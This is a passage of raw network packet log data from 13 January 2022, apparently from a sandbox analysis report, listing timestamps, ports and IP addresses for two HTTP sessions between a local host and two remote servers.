Jan 13, 2022 20:51:33.626677990 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.626701117 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.626727104 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.626750946 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.626774073 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.626784086 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.626830101 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.626866102 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.626894951 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.626912117 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.626914024 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.626940012 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.626981974 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.627160072 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.627216101 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.627223015 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.627239943 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.627271891 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.627293110 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.628160954 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.628185034 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.628202915 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.628218889 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.628252983 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.628308058 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.630867004 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.630891085 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.630913973 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.630937099 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.630955935 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.630958080 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.630979061 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.631000996 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.631021023 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.631021976 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.631045103 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.631066084 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.631076097 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.631107092 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.651149988 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.651231050 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.651290894 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.651292086 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.651348114 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.651401997 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.651417971 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.651457071 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.651511908 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.651516914 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.651556015 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.651587009 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.651612997 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.651650906 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.651689053 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.651724100 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.651765108 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.651802063 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.651837111 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.651854038 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.651874065 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.651925087 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.651961088 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.651964903 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.651994944 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.651998043 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.652034044 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.652071953 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.652076006 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.652112007 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.652137041 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.652144909 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.652183056 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.652200937 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.652218103 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.652255058 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.652272940 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.652292013 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.652327061 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.652345896 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.652362108 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.652414083 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.652431965 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.652447939 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.652482986 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.652502060 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.652519941 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.652553082 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.652573109 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.652589083 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.652626038 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.652646065 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.652663946 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.652700901 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.652719975 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.652734995 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.652770996 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.652789116 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.652807951 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.652842045 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.652867079 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.652877092 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.652911901 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.652935982 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.652947903 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.653003931 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.681745052 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.681796074 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.681818008 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.681838989 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.681906939 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.681927919 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.681937933 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.681943893 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.681967020 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.681967020 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.681977034 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.682014942 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.682291985 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.682324886 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.682346106 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.682359934 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.682373047 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.682396889 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.682399035 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.682427883 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.682451963 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.682460070 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.682475090 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.682497978 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.682894945 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.682917118 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.682939053 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.682966948 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.682966948 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.682981014 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.683342934 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.683366060 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.683394909 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.694466114 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.694505930 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.694559097 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.726874113 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.726950884 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.726994991 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.727032900 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.727040052 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.727072954 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.727089882 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.727121115 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.727159977 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.727171898 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.727200985 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.727241993 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.727250099 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.727283955 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.727327108 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.727344036 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.727365017 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.727405071 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.727421045 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.727448940 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.727487087 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.727499962 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.727525949 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.727565050 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.727576971 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.727606058 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.727646112 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.727658033 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.727684021 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.727724075 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.727735996 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.727762938 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.727802038 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.727838993 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.727844000 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.727897882 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.727901936 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.727957964 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.728004932 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.728013039 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.728076935 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.728138924 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.728144884 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.728182077 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.728218079 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.728230000 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.728257895 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.728296041 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.728307009 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.728336096 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.728379011 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.728418112 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.728441000 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.728494883 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.728497028 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.728552103 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.728604078 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.728604078 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.728657007 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.728715897 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.728763103 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.728774071 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.728843927 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.728898048 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.728959084 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.729008913 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.729017019 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.729068995 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.729130983 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.737143993 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.737221003 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.737265110 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.737274885 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.737308025 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.737328053 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.737353086 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.737396955 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.737437010 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.737503052 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.737562895 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.737570047 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.737628937 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.737677097 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.737695932 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.737730980 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.737781048 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.737787008 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.737842083 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.737898111 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.737946987 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.738017082 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.738084078 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.738085985 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.738445997 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.738512993 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.738516092 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.738585949 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.738645077 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.738646984 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.739028931 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.739077091 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.739104986 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.739121914 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.739168882 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.739182949 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.739211082 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.739267111 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.739272118 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.739305973 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.739352942 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.739379883 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.739408970 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.739459991 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.739487886 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.768284082 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.768373966 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.768405914 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.768444061 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.768475056 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.768515110 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.768533945 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.768560886 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.768578053 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.768603086 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.768619061 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.768624067 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.768659115 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.768698931 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.768713951 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.768738031 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.768776894 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.768794060 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.768820047 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.768856049 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.768873930 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.768896103 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.768935919 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.768950939 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.768975019 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.769013882 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.769027948 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.769052982 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.769093037 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.769110918 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.769135952 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.769175053 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.769190073 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.769216061 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.769258022 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.769272089 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.769310951 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.769366980 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.769366980 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.769428015 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.769476891 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.769500971 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.769517899 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.769556046 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.769572973 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.769596100 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.769634962 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.769653082 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.769674063 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.769711971 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.769726992 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.769752026 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.769792080 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.769802094 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.769835949 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.769892931 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.769932985 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.769990921 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.770041943 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.770049095 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.770112038 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.770169973 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.770184994 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.770219088 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.770266056 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.770303965 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.770307064 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.770347118 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.770360947 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.770386934 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.770431995 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.770467997 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.770484924 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.770509958 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.770524979 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.770550013 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.770612955 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.793613911 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.793695927 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.793756962 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.793771029 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.793817997 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.793818951 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.793915033 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.793967009 CET	49845	80	192.168.2.5	45.135.233.182
